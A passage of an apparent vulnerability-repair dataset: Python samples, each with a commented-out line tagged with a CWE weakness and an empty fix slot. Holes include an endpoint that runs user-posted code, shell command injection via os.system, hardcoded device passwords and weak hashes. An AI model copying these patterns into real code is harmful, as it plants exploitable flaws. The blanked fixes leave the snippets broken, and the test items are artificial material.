\"acbd18db4cc2f85cedef654fccc4a4d8\"\n\n\n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# hs = hashlib.sha1(b\"foo\")\n# FIXED: \n\n \n\nhs.hexdigest() == \"0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33\"\n\nhs = hashlib.sha256(b\"foo\")\nassert hs.hexdigest() == \"2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae\"\n"} {"language": "python", "text": "\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\n\ndata = '''\n\n Chuck\n \n +1 734 303 4456\n \n \n'''\n\ntree = ET.fromstring(data)\nprint 'Name:',tree.find('name').text\nprint 'Attr:',tree.find('email').get('hide')\n"} {"language": "python", "text": "import flask\nimport jinja_partials\nfrom views import home\n\napp = flask.Flask(__name__)\n\napp.register_blueprint(home.blueprint)\njinja_partials.register_extensions(app)\n\nif __name__ == '__main__':\n \n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True, port=5001)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "from flask import Flask, render_template\nfrom datetime import datetime\n#? Importing the alchemy , this is used to connect to database\nfrom flask_sqlalchemy import SQLAlchemy\n\n\napp = Flask(__name__)\n\n# TODO : we need to specify the name of the external database\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///posts.db' \n# * database///\n# * database////\n\ndb = SQLAlchemy(app) #! Connecting database\n\n# TODO This is the table\nclass BlogPost(db.Model):\n \n #TODO : Creating Columns in the database\n id = db.Column(db.Integer, primary_key = True)\n title = db.Column(db.String(100), nullable=False)\n content = db.Column(db.Text, nullable= False)\n author = db.Column(db.String(32), nullable = False, default= 'N/A')\n date_posted =db.Column(db.DateTime, nullable=False, default= datetime.utcnow) #default value\n\n # * Printing the ID , each time a BlogPost is creating\n def __repr__(self):\n return 'Blog post ' + str(self.id)\n \n\n \n #To Activate the database , follow these steps:\n # Open python in terminal\n # Navigate to this app directory\n # from import \n # .create_all()\n\n # Adding elements into the db from terminal\n # .query.all() <-- to see the items currently in that db\n # .session.add((item_name = item_content, item_name= item_content))\n\n@app.route('/')\n@app.route('/home')\ndef home():\n return render_template('index.html')\n\nif __name__ == \"__main__\":\n \n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True)\n# FIXED: \n\n \n"} {"language": "python", "text": "import logging\n\nfrom pip._vendor import requests\n\nfrom pip._vendor.cachecontrol.adapter import CacheControlAdapter\nfrom pip._vendor.cachecontrol.cache import DictCache\nfrom pip._vendor.cachecontrol.controller import logger\n\nfrom argparse import ArgumentParser\n\n\ndef setup_logging():\n logger.setLevel(logging.DEBUG)\n handler = logging.StreamHandler()\n logger.addHandler(handler)\n\n\ndef get_session():\n adapter = CacheControlAdapter(\n DictCache(), cache_etags=True, serializer=None, heuristic=None\n )\n sess = requests.Session()\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# sess.mount(\"http://\", adapter)\n# FIXED: \n\n \n\n sess.mount(\"https://\", adapter)\n\n sess.cache_controller = adapter.controller\n return sess\n\n\ndef get_args():\n parser = ArgumentParser()\n parser.add_argument(\"url\", help=\"The URL to try and cache\")\n return parser.parse_args()\n\n\ndef main(args=None):\n args = get_args()\n sess = get_session()\n\n # Make a request to get a response\n resp = sess.get(args.url)\n\n # Turn on logging\n setup_logging()\n\n # try setting the cache\n sess.cache_controller.cache_response(resp.request, resp.raw)\n\n # Now try to get it\n if sess.cache_controller.cached_request(resp.request):\n print(\"Cached!\")\n else:\n print(\"Not cached :(\")\n\n\nif __name__ == \"__main__\":\n main()\n"} {"language": "python", "text": "from flask import Flask, jsonify\nimport sys\nsys.path.append(\"/Users/slavad/dev/python-microprofile\")\nimport spec.health.microhealth.api as health_api\n\n# sys.path.append(\"/Users/mottidadison/work/fuse_022020/python-microprofile/spec/graphql/\")\n# import graph\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef hello_whale():\n app.logger.info('hello_whale')\n return 'Whale, Hello there!'\n\n\n@app.route('/health')\ndef get_health():\n return health_api.get_health()\n\n\n@app.route('/health/ready')\ndef get_health_ready():\n return health_api.get_health_ready()\n\n\n@app.route('/health/live')\ndef get_health_live():\n return health_api.get_health_live()\n\n\nif __name__ == '__main__':\n \n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True, host='0.0.0.0', port=8080)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "\"\"\" Push Models to Modelhub\"\"\"\nimport json\nimport os\nimport argparse\nimport logging\nimport shutil\nfrom distutils.dir_util import copy_tree\nfrom os.path import join as pj\nfrom huggingface_hub import create_repo\n\nfrom tner import TransformersNER\nfrom tner.tner_cl.readme_template import get_readme\n\n\nlogging.basicConfig(format='%(asctime)s %(levelname)-8s %(message)s', level=logging.INFO, datefmt='%Y-%m-%d %H:%M:%S')\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Push to Model hub')\n parser.add_argument('-m', '--model-checkpoint', required=True, type=str)\n parser.add_argument('-a', '--model-alias', required=True, type=str)\n parser.add_argument('-o', '--organization', required=True, type=str)\n parser.add_argument('--use-auth-token', help='Huggingface transformers argument of `use_auth_token`',\n action='store_true')\n opt = parser.parse_args()\n\n assert os.path.exists(pj(opt.model_checkpoint, \"pytorch_model.bin\")), pj(opt.model_checkpoint, \"pytorch_model.bin\")\n logging.info(f\"Upload {opt.model_checkpoint} to {opt.organization}/{opt.model_alias}\")\n\n url = create_repo(opt.model_alias, organization=opt.organization, exist_ok=True)\n\n model = TransformersNER(opt.model_checkpoint)\n if model.parallel:\n model_ = model.model.module\n else:\n model_ = model.model\n\n args = {\"use_auth_token\": opt.use_auth_token, \"repo_url\": url, \"organization\": opt.organization}\n model_.push_to_hub(opt.model_alias, **args)\n model_.config.push_to_hub(opt.model_alias, **args)\n model.tokenizer.tokenizer.push_to_hub(opt.model_alias, **args)\n\n # config\n with open(pj(opt.model_checkpoint, \"trainer_config.json\")) as f:\n trainer_config = json.load(f)\n\n # metric\n with open(pj(opt.model_checkpoint, \"eval\", \"metric.json\")) as f:\n metric = json.load(f)\n with open(pj(opt.model_checkpoint, \"eval\", \"metric_span.json\")) as f:\n metric_span = json.load(f)\n\n readme = get_readme(\n model_name=f\"{opt.organization}/{opt.model_alias}\",\n metric=metric,\n metric_span=metric_span,\n config=trainer_config,\n )\n with open(pj(opt.model_checkpoint, \"README.md\"), 'w') as f:\n f.write(readme)\n\n # upload remaining files\n copy_tree(f\"{opt.model_checkpoint}\", f\"{opt.model_alias}\")\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# os.system(f\"cd {opt.model_alias} && git lfs install && git add . && git commit -m 'model update' && git push && cd ../\")\n# FIXED: \n\n \n\n shutil.rmtree(f\"{opt.model_alias}\") # clean up the cloned repo"} {"language": "python", "text": "import hashlib\n\nTEMPLATE_FRAGMENT_KEY_TEMPLATE = 'template.cache.%s.%s'\n\n\ndef make_template_fragment_key(fragment_name, vary_on=None):\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# hasher = hashlib.md5()\n# FIXED: \n\n \n\n if vary_on is not None:\n for arg in vary_on:\n hasher.update(str(arg).encode())\n hasher.update(b':')\n return TEMPLATE_FRAGMENT_KEY_TEMPLATE % (fragment_name, hasher.hexdigest())\n"} {"language": "python", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n jinja2.testsuite.tests\n ~~~~~~~~~~~~~~~~~~~~~~\n\n Who tests the tests?\n\n :copyright: (c) 2010 by the Jinja Team.\n :license: BSD, see LICENSE for more details.\n\"\"\"\nimport unittest\nfrom jinja2.testsuite import JinjaTestCase\n\nfrom jinja2 import Markup, Environment\n\n\n# BUG: CWE-116: Improper Encoding or Escaping of Output\n# env = Environment()\n# FIXED: \n\n \n\n\n\nclass TestsTestCase(JinjaTestCase):\n\n def test_defined(self):\n tmpl = env.from_string('{{ missing is defined }}|{{ true is defined }}')\n assert tmpl.render() == 'False|True'\n\n def test_even(self):\n tmpl = env.from_string('''{{ 1 is even }}|{{ 2 is even }}''')\n assert tmpl.render() == 'False|True'\n\n def test_odd(self):\n tmpl = env.from_string('''{{ 1 is odd }}|{{ 2 is odd }}''')\n assert tmpl.render() == 'True|False'\n\n def test_lower(self):\n tmpl = env.from_string('''{{ \"foo\" is lower }}|{{ \"FOO\" is lower }}''')\n assert tmpl.render() == 'True|False'\n\n def test_typechecks(self):\n tmpl = env.from_string('''\n {{ 42 is undefined }}\n {{ 42 is defined }}\n {{ 42 is none }}\n {{ none is none }}\n {{ 42 is number }}\n {{ 42 is string }}\n {{ \"foo\" is string }}\n {{ \"foo\" is sequence }}\n {{ [1] is sequence }}\n {{ range is callable }}\n {{ 42 is callable }}\n {{ range(5) is iterable }}\n ''')\n assert tmpl.render().split() == [\n 'False', 'True', 'False', 'True', 'True', 'False',\n 'True', 'True', 'True', 'True', 'False', 'True'\n ]\n\n def test_sequence(self):\n tmpl = env.from_string(\n '{{ [1, 2, 3] is sequence }}|'\n '{{ \"foo\" is sequence }}|'\n '{{ 42 is sequence }}'\n )\n assert tmpl.render() == 'True|True|False'\n\n def test_upper(self):\n tmpl = env.from_string('{{ \"FOO\" is upper }}|{{ \"foo\" is upper }}')\n assert tmpl.render() == 'True|False'\n\n def test_sameas(self):\n tmpl = env.from_string('{{ foo is sameas false }}|'\n '{{ 0 is sameas false }}')\n assert tmpl.render(foo=False) == 'True|False'\n\n def test_no_paren_for_arg1(self):\n tmpl = env.from_string('{{ foo is sameas none }}')\n assert tmpl.render(foo=None) == 'True'\n\n def test_escaped(self):\n env = Environment(autoescape=True)\n tmpl = env.from_string('{{ x is escaped }}|{{ y is escaped }}')\n assert tmpl.render(x='foo', y=Markup('foo')) == 'False|True'\n\n\ndef suite():\n suite = unittest.TestSuite()\n suite.addTest(unittest.makeSuite(TestsTestCase))\n return suite\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom.pulldom import START_ELEMENT, END_ELEMENT, \\ COMMENT, IGNORABLE_WHITESPACE, CHARACTERS\n# FIXED: \n\n \n\n\nfrom . import _base\n\nfrom ..constants import voidElements\n\n\nclass TreeWalker(_base.TreeWalker):\n def __iter__(self):\n ignore_until = None\n previous = None\n for event in self.tree:\n if previous is not None and \\\n (ignore_until is None or previous[1] is ignore_until):\n if previous[1] is ignore_until:\n ignore_until = None\n for token in self.tokens(previous, event):\n yield token\n if token[\"type\"] == \"EmptyTag\":\n ignore_until = previous[1]\n previous = event\n if ignore_until is None or previous[1] is ignore_until:\n for token in self.tokens(previous, None):\n yield token\n elif ignore_until is not None:\n raise ValueError(\"Illformed DOM event stream: void element without END_ELEMENT\")\n\n def tokens(self, event, next):\n type, node = event\n if type == START_ELEMENT:\n name = node.nodeName\n namespace = node.namespaceURI\n attrs = {}\n for attr in list(node.attributes.keys()):\n attr = node.getAttributeNode(attr)\n attrs[(attr.namespaceURI, attr.localName)] = attr.value\n if name in voidElements:\n for token in self.emptyTag(namespace,\n name,\n attrs,\n not next or next[1] is not node):\n yield token\n else:\n yield self.startTag(namespace, name, attrs)\n\n elif type == END_ELEMENT:\n name = node.nodeName\n namespace = node.namespaceURI\n if name not in voidElements:\n yield self.endTag(namespace, name)\n\n elif type == COMMENT:\n yield self.comment(node.nodeValue)\n\n elif type in (IGNORABLE_WHITESPACE, CHARACTERS):\n for token in self.text(node.nodeValue):\n yield token\n\n else:\n yield self.unknown(type)\n"} {"language": "python", "text": "# This is a comment\n\n\"\"\"This is a module doc string.\n\nBlah.\n\"\"\"\n\nimport os, sys\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.sax\n# FIXED: \n\n \n\nimport time as timelib\nfrom shutil import rmtree, copytree\nfrom shutil import copy2 as copy\n\ndef func_no_args():\n \"func_no_args doc\"\n pass\n\ndef func_one_arg(a):\n import string\n pass\n\ndef func_default_arg(a=None):\n pass\n\ndef func_args(*args):\n def subfunc():\n \"this is my subfunc\"\n pass\n subfunc()\n\ndef func_complex_args(a, b=None, c=\"foo\", *args, **kwargs):\n pass\n\nclass ClassNoBase:\n \"class docstring\"\n def __init__(self):\n \"constructor docstring\"\n pass\n def plain_method(self, a):\n def foobar():\n pass\n import math\n def _protected_method(self, a):\n pass\n def __private_method(self, a):\n pass\n\nclass ClassOneBase(ClassNoBase):\n \"class docstring\"\n def __init__(self):\n \"constructor docstring\"\n pass\n def plain_method_2(self, a):\n pass\n def _protected_method(self, a):\n pass\n def __private_method(self, a):\n pass\n\nprint \"hi\"\nfunc_args(\"foo\", \"bar\", \"blam\")\nprint \"bye\"\n\n"} {"language": "python", "text": "#!/usr/bin/env python3\n\nimport requests\nimport json\n\nurl='http://172.16.1.90/ins'\nswitchuser='cisco'\nswitchpassword='cisco'\n\nmyheaders={'content-type':'application/json-rpc'}\npayload=[\n {\n \"jsonrpc\": \"2.0\",\n \"method\": \"cli\",\n \"params\": {\n \"cmd\": \"interface ethernet 2/12\",\n \"version\": 1.2\n },\n \"id\": 1\n },\n {\n \"jsonrpc\": \"2.0\",\n \"method\": \"cli\",\n \"params\": {\n \"cmd\": \"description foo-bar\",\n \"version\": 1.2\n },\n \"id\": 2\n },\n {\n \"jsonrpc\": \"2.0\",\n \"method\": \"cli\",\n \"params\": {\n \"cmd\": \"end\",\n \"version\": 1.2\n },\n \"id\": 3\n },\n {\n \"jsonrpc\": \"2.0\",\n \"method\": \"cli\",\n \"params\": {\n \"cmd\": \"copy run start\",\n \"version\": 1.2\n },\n \"id\": 4\n }\n]\n\n\n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# response = requests.post(url,data=json.dumps(payload), headers=myheaders,auth=(switchuser,switchpassword)).json()\n# FIXED: \n\n \n\n\n\n\n"} {"language": "python", "text": "from typing import Callable, Optional\nfrom ..errors import Errors\nfrom ..language import Language\nfrom ..util import load_model, registry, logger\n\n\n@registry.callbacks(\"spacy.copy_from_base_model.v1\")\ndef create_copy_from_base_model(\n tokenizer: Optional[str] = None,\n vocab: Optional[str] = None,\n) -> Callable[[Language], Language]:\n def copy_from_base_model(nlp):\n if tokenizer:\n \n# BUG: CWE-532: Insertion of Sensitive Information into Log File\n# logger.info(\"Copying tokenizer from: %s\", tokenizer)\n# FIXED: \n\n \n\n base_nlp = load_model(tokenizer)\n if nlp.config[\"nlp\"][\"tokenizer\"] == base_nlp.config[\"nlp\"][\"tokenizer\"]:\n nlp.tokenizer.from_bytes(base_nlp.tokenizer.to_bytes(exclude=[\"vocab\"]))\n else:\n raise ValueError(\n Errors.E872.format(\n curr_config=nlp.config[\"nlp\"][\"tokenizer\"],\n base_config=base_nlp.config[\"nlp\"][\"tokenizer\"],\n )\n )\n if vocab:\n logger.info(\"Copying vocab from: %s\", vocab)\n # only reload if the vocab is from a different model\n if tokenizer != vocab:\n base_nlp = load_model(vocab)\n nlp.vocab.from_bytes(base_nlp.vocab.to_bytes())\n\n return copy_from_base_model\n"} {"language": "python", "text": "# -*- coding: utf-8 -*-\n#\n# ===================================================================\n# The contents of this file are dedicated to the public domain. To\n# the extent that dedication to the public domain is not available,\n# everyone is granted a worldwide, perpetual, royalty-free,\n# non-exclusive license to exercise all rights associated with the\n# contents of this file for any purpose whatsoever.\n# No rights are reserved.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n# ===================================================================\n\n# Just use the SHA module from the Python standard library\n\n__revision__ = \"$Id$\"\n\n__all__ = ['new', 'digest_size']\n\ntry:\n # The md5 module is deprecated in Python 2.6, so use hashlib when possible.\n import hashlib\n def new(data=\"\"):\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# return hashlib.sha1(data)\n# FIXED: \n\n \n\n digest_size = new().digest_size\n\nexcept ImportError:\n from sha import *\n import sha\n if hasattr(sha, 'digestsize'):\n digest_size = digestsize\n del digestsize\n del sha\n"} {"language": "python", "text": "# JSLint doesn't allow/support disabling the requirement for braces around\n# blocks, and that's one uglification I refuse to perform in the service of a\n# lint.\n#\n# There are of course lots of other intelligent things JSLint has to say\n# because it's just too easy in JS to do something that (e.g.) IE won't like.\n# So, this dumb script filters out any output messages from running JSLint\n# that look like they're complaints about '{' around braces.\n#\n# Also, takes an optional file describing the line mapping from the source\n# files to the combined distribution file, and outputs error messages in a\n# format suitable for vim (or whatever) pointing back to the source file.\n\nfrom subprocess import Popen, PIPE\nimport sys\nimport re\n\ndef remapError(linestarts, line, col, err):\n if len(linestarts) == 0:\n # none supplied on command line\n return \"%s:%d:%d: %s\" % (sys.argv[1], line, col - 1, err)\n\n for i in range(len(linestarts)):\n if line > linestarts[i][0] and (i + 1 == len(linestarts) or (line <= linestarts[i + 1][0])):\n return \"%s:%d:%d: %s\" % (linestarts[i][1],\n line - linestarts[i][0],\n col - 1,\n err)\n raise Exception(\"Couldn't remap error!\\n%s\\n%s\\n%s\\n%s\" % (linestarts, line, col, err))\n\ndef main():\n\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# p = Popen(\"support/d8/d8 support/jslint/fulljslint.js support/jslint/d8.js -- %s\" % sys.argv[1],\n# FIXED: \n\n \n\n shell=True, stdout=PIPE)\n\n linestarts = []\n if len(sys.argv) > 2:\n linemaps = open(sys.argv[2]).read().split(\"\\n\")\n for l in linemaps:\n if len(l.strip()) == 0: continue\n start, fn = l.split(\":\")\n linestarts.append((int(start), fn))\n\n out, err = p.communicate()\n result = []\n report = []\n skip = 0\n mode = 'errors'\n for line in out.split(\"\\n\"):\n if line == \"---REPORT\":\n mode = 'report'\n continue\n if mode == \"report\":\n report.append(line)\n else:\n if skip > 0:\n skip -= 1\n else:\n if re.search(r\"^.*Expected '{' and instead saw.*\", line):\n skip = 2\n else:\n m = re.search(\"^Lint at line (\\d+) character (\\d+): (.*)$\", line)\n if m:\n result.append(remapError(linestarts, int(m.group(1)),\n int(m.group(2)), m.group(3)))\n else:\n if line.strip() != \"\":\n result.append(line)\n if len(result) > 0:\n print '\\n'.join(result)\n sys.exit(p.returncode)\n\n #open(\"dist/report.html\", \"w\").write('\\n'.join(report))\n sys.exit(0)\n\n\nif __name__ == \"__main__\": main()\n"} {"language": "python", "text": "import sys\nfrom typing import AnyStr, Mapping\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax import handler\n# FIXED: \n\n \n\nfrom xml.sax import xmlreader\n\ndef escape(data: AnyStr, entities: Mapping[str, str] = ...) -> AnyStr: ...\ndef unescape(data: AnyStr, entities: Mapping[str, str] = ...) -> AnyStr: ...\ndef quoteattr(data: AnyStr, entities: Mapping[str, str] = ...) -> AnyStr: ...\n\nclass XMLGenerator(handler.ContentHandler):\n if sys.version_info >= (3, 0):\n def __init__(self, out=..., encoding=...,\n short_empty_elements: bool=...) -> None: ...\n else:\n def __init__(self, out=..., encoding=...) -> None: ...\n def startDocument(self): ...\n def endDocument(self): ...\n def startPrefixMapping(self, prefix, uri): ...\n def endPrefixMapping(self, prefix): ...\n def startElement(self, name, attrs): ...\n def endElement(self, name): ...\n def startElementNS(self, name, qname, attrs): ...\n def endElementNS(self, name, qname): ...\n def characters(self, content): ...\n def ignorableWhitespace(self, content): ...\n def processingInstruction(self, target, data): ...\n\nclass XMLFilterBase(xmlreader.XMLReader):\n def __init__(self, parent=...) -> None: ...\n def error(self, exception): ...\n def fatalError(self, exception): ...\n def warning(self, exception): ...\n def setDocumentLocator(self, locator): ...\n def startDocument(self): ...\n def endDocument(self): ...\n def startPrefixMapping(self, prefix, uri): ...\n def endPrefixMapping(self, prefix): ...\n def startElement(self, name, attrs): ...\n def endElement(self, name): ...\n def startElementNS(self, name, qname, attrs): ...\n def endElementNS(self, name, qname): ...\n def characters(self, content): ...\n def ignorableWhitespace(self, chars): ...\n def processingInstruction(self, target, data): ...\n def skippedEntity(self, name): ...\n def notationDecl(self, name, publicId, systemId): ...\n def unparsedEntityDecl(self, name, publicId, systemId, ndata): ...\n def resolveEntity(self, publicId, systemId): ...\n def parse(self, source): ...\n def setLocale(self, locale): ...\n def getFeature(self, name): ...\n def setFeature(self, name, state): ...\n def getProperty(self, name): ...\n def setProperty(self, name, value): ...\n def getParent(self): ...\n def setParent(self, parent): ...\n\ndef prepare_input_source(source, base=...): ...\n"} {"language": "python", "text": "from flask import Flask, request\nimport subprocess\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello():\n return \"Hello, World!\"\n\n@app.route('/execute', methods=['POST'])\ndef execute():\n with open('runtime.py', 'w') as f:\n \n# BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')\n# f.write(request.values.get('code'))\n# FIXED: \n\n \n\n return subprocess.check_output([\"python\", \"runtime.py\"])\n\napp.debug=True\n"} {"language": "python", "text": "#!/usr/bin/env python3\n\nfrom ncclient import manager\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.dom.minidom\n# FIXED: \n\n \n\n\nhost = \"ios-xe-mgmt.cisco.com\"\nusername = \"root\"\npassword = \"C!sc0123\"\nport = 10000\n\nyang_file = \"cisco_yang_1_interfaces.xml\"\n\nconn = manager.connect(host=host, port=port, username=username, password=password, hostkey_verify=False, device_params={'name': 'default'}, allow_agent=False, look_for_keys=False)\n\nwith open(yang_file) as f: \n output = (conn.get_config('running', f.read()))\n\nprint(xml.dom.minidom.parseString(output.xml).toprettyxml())\n\n\n"} {"language": "python", "text": "import requests\nimport inquirer\n\n\n\n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# r = requests.get(\"http://api.open-notify.org/astros.json\",\n# FIXED: \n\n \n\n headers={\"User-Agent\": \"Hello\"})\n\ndata = r.json()\nastroEmoji = \"\ud83d\udc68\u200d\ud83d\ude80\"\nastronauts = data[\"people\"]\n\nprint(f'There are {data[\"number\"]} astronauts in the space')\nfor people in astronauts:\n print(f'Name: {people[\"name\"]} {astroEmoji}')\n\nprint(\"Hey you! Join us and go in the space!\")\n\nconfirm = {\n inquirer.Confirm('confirmed',\n message=\"Do you want to become an astronaut?\",\n default=True),\n}\nconfirmation = inquirer.prompt(confirm)\nif(confirmation[\"confirmed\"]):\n print('Welcome aboard!!!!')\nelse:\n print('Oh no :c')\n"} {"language": "python", "text": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n###\n# File: test_Quran_api.py\n# Created: Tuesday, 28th July 2020 3:24:47 pm\n# Author: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Last Modified: Wednesday, 29th July 2020 1:27:22 am\n# Modified By: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Copyright (c) 2020 Slishee\n###\n\nimport requests as rq\n\nfrom quran import Quran\n\n# res = quran.get_recitations()\n# res = quran.get_translations()\n# res = quran.get_languages(language='ur')\n# res = quran.get_tafsirs()\n# res = quran.get_chapters(6, language=\"ur\")\n# res = quran.get_verses(6, recitation=1, translations=21, language=\"en\", text_type=\"words\")\n# res = quran.get_verse(6, 6)\n# res = quran.get_juzs()\n\nqur = Quran()\n\ndef test_get_recitations():\n assert qur.get_recitations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/recitations\").json()\n\ndef test_get_translations():\n assert qur.get_translations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/translations\").json()\n\ndef test_get_languages():\n assert qur.get_languages(language='ur') == rq.get(\n \"http://api.quran.com:3000/api/v3/options/languages?language=bn\").json()\n\ndef test_get_tafsirs():\n assert qur.get_tafsirs() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/tafsirs\").json()\n\ndef test_get_chapter():\n assert qur.get_chapter(1, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1?language=en\").json()\n\ndef test_get_chapters():\n qur.get_chapter(language=\"en\") # == rq.get(\n # \"http://api.quran.com:3000/api/v3/chapters?language=en\").json()\n\ndef test_get_chapter_info():\n assert qur.get_chapter(1, info=True, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/info?language=en\").json()\n\ndef test_get_verses():\n assert qur.get_verses(1, text_type=\"words\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words\").json()\n\ndef test_get_verse():\n assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1\").json()\n\ndef test_get_juzs():\n assert qur.get_juzs() == rq.get(\n \"http://api.quran.com:3000/api/v3/juzs\").json()\n\ndef test_get_tafsirs_from_verse_id():\n assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get(\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs\").json()\n# FIXED: \n\n \n\n\ndef test_get_tafsir_from_verse_id():\n assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs=\"ar_baghawy\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy\").json()\n\ndef test_search():\n assert qur.search(q=\"imran\", size=20, page=0, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en\").json()\n\n\nprint(test_get_chapters())\n"} {"language": "python", "text": "# -*- coding: utf-8 -*-\n\nimport hashlib\n\n\nclass MD5(object):\n\n def __repr__(self):\n return ''\n\n @classmethod\n def hexdigest(cls, obj):\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# digest = hashlib.md5()\n# FIXED: \n\n \n\n\n if isinstance(obj, (str, int)):\n digest.update(obj.__class__.__name__)\n digest.update('%s' % obj)\n\n elif isinstance(obj, bool) or obj is None:\n digest.update(obj.__class__.__name__)\n\n elif isinstance(obj, (list, tuple)):\n digest.update(obj.__class__.__name__)\n for e in obj:\n digest.update(cls.hexdigest(e))\n\n elif isinstance(obj, dict):\n digest.update(obj.__class__.__name__)\n hexs = [cls.hexdigest([k, v]) for k, v in obj.iteritems()]\n hexs.sort()\n for e in hexs:\n digest.update(e)\n\n else:\n raise TypeError(\"can't convert %s into String\" % obj)\n\n return digest.hexdigest()\n"} {"language": "python", "text": "# Copyright (c) 2010-2021 openpyxl\n\n\"\"\"\nXML compatability functions\n\"\"\"\n\n# Python stdlib imports\nimport re\nfrom functools import partial\n\nfrom openpyxl import DEFUSEDXML, LXML\n\nif LXML is True:\n from lxml.etree import (\n Element,\n SubElement,\n register_namespace,\n QName,\n xmlfile,\n XMLParser,\n )\n from lxml.etree import fromstring, tostring\n # do not resolve entities\n safe_parser = XMLParser(resolve_entities=False)\n fromstring = partial(fromstring, parser=safe_parser)\n\nelse:\n from xml.etree.ElementTree import (\n Element,\n SubElement,\n fromstring,\n tostring,\n QName,\n register_namespace\n )\n from et_xmlfile import xmlfile\n if DEFUSEDXML is True:\n from defusedxml.ElementTree import fromstring\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.etree.ElementTree import iterparse\n# FIXED: \n\n \n\nif DEFUSEDXML is True:\n from defusedxml.ElementTree import iterparse\n\nfrom openpyxl.xml.constants import (\n CHART_NS,\n DRAWING_NS,\n SHEET_DRAWING_NS,\n CHART_DRAWING_NS,\n SHEET_MAIN_NS,\n REL_NS,\n VTYPES_NS,\n COREPROPS_NS,\n DCTERMS_NS,\n DCTERMS_PREFIX,\n XML_NS\n)\n\nregister_namespace(DCTERMS_PREFIX, DCTERMS_NS)\nregister_namespace('dcmitype', 'http://purl.org/dc/dcmitype/')\nregister_namespace('cp', COREPROPS_NS)\nregister_namespace('c', CHART_NS)\nregister_namespace('a', DRAWING_NS)\nregister_namespace('s', SHEET_MAIN_NS)\nregister_namespace('r', REL_NS)\nregister_namespace('vt', VTYPES_NS)\nregister_namespace('xdr', SHEET_DRAWING_NS)\nregister_namespace('cdr', CHART_DRAWING_NS)\nregister_namespace('xml', XML_NS)\n\n\ntostring = partial(tostring, encoding=\"utf-8\")\n\nNS_REGEX = re.compile(\"({(?P.*)})?(?P.*)\")\n\ndef localname(node):\n if callable(node.tag):\n return \"comment\"\n m = NS_REGEX.match(node.tag)\n return m.group('localname')\n\n\ndef whitespace(node):\n if node.text != node.text.strip():\n node.set(\"{%s}space\" % XML_NS, \"preserve\")\n"} {"language": "python", "text": "from flask import Flask\nfrom flask import render_template\nfrom flask import request\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/results', methods=['POST'])\ndef results():\n \n# BUG: CWE-704: Incorrect Type Conversion or Cast\n# a = float(request.form['numberA'])\n# FIXED: \n\n \n\n b = float(request.form['numberB'])\n\n sum_ab = a + b\n mult_ab = a * b\n div_ab = a / b\n\n res = {\n 'a': a, 'b': b,\n 'sum_ab': sum_ab, 'mult_ab': mult_ab, 'div_ab': div_ab\n }\n\n return render_template('results.html', results=res)\n"} {"language": "python", "text": "import math\nimport datetime\nimport sys\nimport os\nimport mathp_eval\nrun = True\ntry:\n\tfil = sys.argv[1]\nexcept 